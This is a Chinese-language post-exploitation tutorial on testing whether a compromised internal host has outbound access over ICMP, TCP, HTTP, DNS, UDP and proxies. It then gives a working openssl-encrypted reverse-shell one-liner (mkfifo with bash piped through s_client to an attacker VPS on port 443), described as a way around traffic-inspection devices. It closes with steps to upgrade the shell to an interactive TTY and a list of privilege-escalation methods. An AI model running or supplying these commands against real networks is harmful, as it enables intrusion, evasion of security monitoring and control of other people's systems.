判断当前主机是否能出网Tips
前言：
完成内网信息收集后，需要判断内网的连通性。这里是指机器能否外面进的来，能否出的去。方便我们后续的上马或者做代理。这里的判断主要有两种，一种是端口，一种是协议。我们着重于是否出的去，也就是是否能上外网。
我们都知道要内网目标机器之间进行数据传输，要经过防火墙。而防火墙会允许一些协议，禁止一些协议，所以我们要先探测协议开放情况以及端口开放情况：
icmp协议：
判断方法：内网机器直接ping外面主机
ping www.baidu.com
ping -c 4 www.baidu.com
tracert www.baidu.com //tracert命令同样是基于icmp协议
TCP协议：
判断方法：使用 nc、telnet等命令
# Linux
nc -zv <IP地址 端口号>
#Windows
telnet <IP地址 端口号>
Windows10下开启Telnet命令
#开启
dism /online /Enable-Feature /FeatureName:TelnetClient
#关闭
dism /online /Disable-Feature /FeatureName:TelnetClient
HTTP协议：
curl -I www.baidu.com
DNS协议：
判断方法：使用nslookup、dig命令
#Windows
nslookup www.baidu.com
#Linux
dig www.baidu.com
或者给自己加一个txt记录：
使用命令：
nslookup -type=TXT test.hackergu.com
UDP协议：
项目地址：https://gist.github.com/PrateekKumarSingh/61532b4f48edac1d893b
利用过程：
1、在本机使用ncat开启udp监听
ncat -4u -lvp 7777 //安装nmap就行
2、目标机器执行
powershell -exec bypass -command "& {import-module C:\Users\sws123\Desktop\ps-tools\Test-PortConnectivity.ps1; Test-PortConnectivity 'localhost' 'vps_ip' 7777 -Iterate -protocol UDP}"
只要监听处出现Hi字样，即表示连通
ftp协议：
远程开启21端口，并使用ftp连接
代理服务器：
内置网中的机器，也可能是通过代理连接内网。
检查方法：
查看内网中，与其他机器的网络连接。
查看内网中是否有主机名放置proxy的机器。
根据pac文件的路径，将其下载下来并查看。
执行如下命令，进行确认：curl -x proxy-ip：port www.baidu.com
利用工具查看开放端口：
项目地址：https://github.com/dafthack/HostRecon
Import-Module .\HostRecon.ps1
Invoke-HostRecon -Portscan -TopPorts 128
1.验证是否禁止出口流量：
某些目标在防火墙上限制了出口流量，禁止目标主动向外发起网络请求，我计划通过带外的方式进行验证。大致逻辑是，在攻击者自己的 VPS 上监测某种协议的网络请求，在目标上用这种协议访问 VPS，若在 VPS 上看到该协议的请求日志，则可推断出目标允许出口流量。
为了减少其他因素干扰，选用无端口的协议进行出口流量的测试，ICMP 最简单。互联网上随时都有 ICMP 的刺探，导致 VPS 看到的日志量非常大，所以，这里指定 ping 的包的大小，这样方便过滤。
第一步，指定了 ping 包大小，但实际大小由系统确定，先在目标上执行 ping 命令，获取实际包大小
ping -s 64 vps
-s 选项指定包大小为 64 个字节，系统实际发送了 92 个字节，以 length 92 为关键字查找 ICMP 记录。
第二步，在 VPS 上监控 ICMP 日志
tcpdump -i eth0 -n -v icmp | grep -i 'length 92'
第三步，在目标上再次执行 ping 命令：
第四步， 在 VPS 上查看到大小为 92 的 ICMP 包：
经过以上四步，确认目标是否允许出口流量
当前机器不出网，不代表所有机器都不出网，当前内网段不出网，也不代表所有内网段都不出网
2.验证是否限定向外访问端口：
某些目标限定访问外部端口，常见黑名单和白名单两种方式。
黑名单，比如，禁止目标机器向外访问 MSF 默认的 4444 端口；
白名单，比如，端口白名单通常只允许向外访问 HTTP 服务的默认 80、HTTPS 服务的默认 443。(80，443，53，8080，21，110 这些穿透性稍好的端口都可以尝试）
这里要注意下，攻击端即便监听的 80 端口，getshell 的流量采用的也并非 HTTP 协议，而是普通的 socket，切勿与 HTTP 隧道 getshell 混淆。
所以说反弹失败可以尝试更换监听端口，若更换了几次都不行就多半是白名单策略。
3.验证是否存在流量审查
举个例子，换成 443 端口后应该顺利反弹 shell，服务端的确也收到了 shell，但还没来得及执行任何命令，马上就掉线了。猜测服务端可能存在某种流量检测设备，以物理旁路、逻辑串联的方式接入在网络中，一旦发现恶意行为，分别向客户端和服务端发送 RESET 的 TCP 包，达到断开客户端和服务端连接的目的，表象类似传统堡垒机的防绕行机制。
流量审查，审查设备必定得到明文流量数据才行，要防审查自然想到加密流量。所以，不再简单地用 bash 来反弹 shell。
OK，分析清除了，本地环境测试一下：
win7虚拟机反弹shell到vps上，然后捕获数据包查看：
tcpdump -i eth0 -n -XX tcp port 8000
输入命令:：whoami
很明显看到数据以明文进行传输。
在此基础上，我们将原始流量用 openssl 加密，这样就能达到防流量审查的目的。
第一步，在VPS 上生成 SSL 证书的公钥/私钥对:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
第二步，VPS 监听反弹 shell：
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
第三步，目标上用 openssl 加密反弹 shell 的流量：
mkfifo /tmp/s;/bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 119.x.x.x:443 > /tmp/s; rm /tmp/s
第四步，VPS 上成功获取加密的shell：
输入命令：whoami
此时再来查看数据包的头部数据是否加密：
成功加密！
现在得到的仅仅是个简陋的哑 shell，并非交互式 shell。
基于以下几个原因，让我有强烈驱动力将哑 shell 转为交互式 shell：
防止 ctrl-c 中断 getshell 会话、无法查看语法高亮、无法执行交互式命令、无法查看错误输出、无法使用 tab 命令补全、无法操控 job、无法查看命令历史。
第一步，在哑 shell 中执行：
python -c 'import pty; pty.spawn("/bin/bash")'
键入 Ctrl-Z，回到 VPS 的命令行中；第二步，在 VPS 中执行：
stty raw -echo
fg
回到哑 shell 中；第三步，在哑 shell 中键入 Ctrl-l，执行：
reset
export SHELL=bash
export TERM=xterm-256color
stty rows 54 columns 104
得到了功能齐全的交互式 shell，比如，支持命令补全、语法高亮：
一切就绪，正式进入提权操作。提权的手法很多，比如，利用内核栈溢出提权、搜寻配置文件中的明文密码、环境变量劫持高权限程序、不安全的服务、借助权能（POSIX capabilities）提权、sudo 误配、SUID 滥用等等。
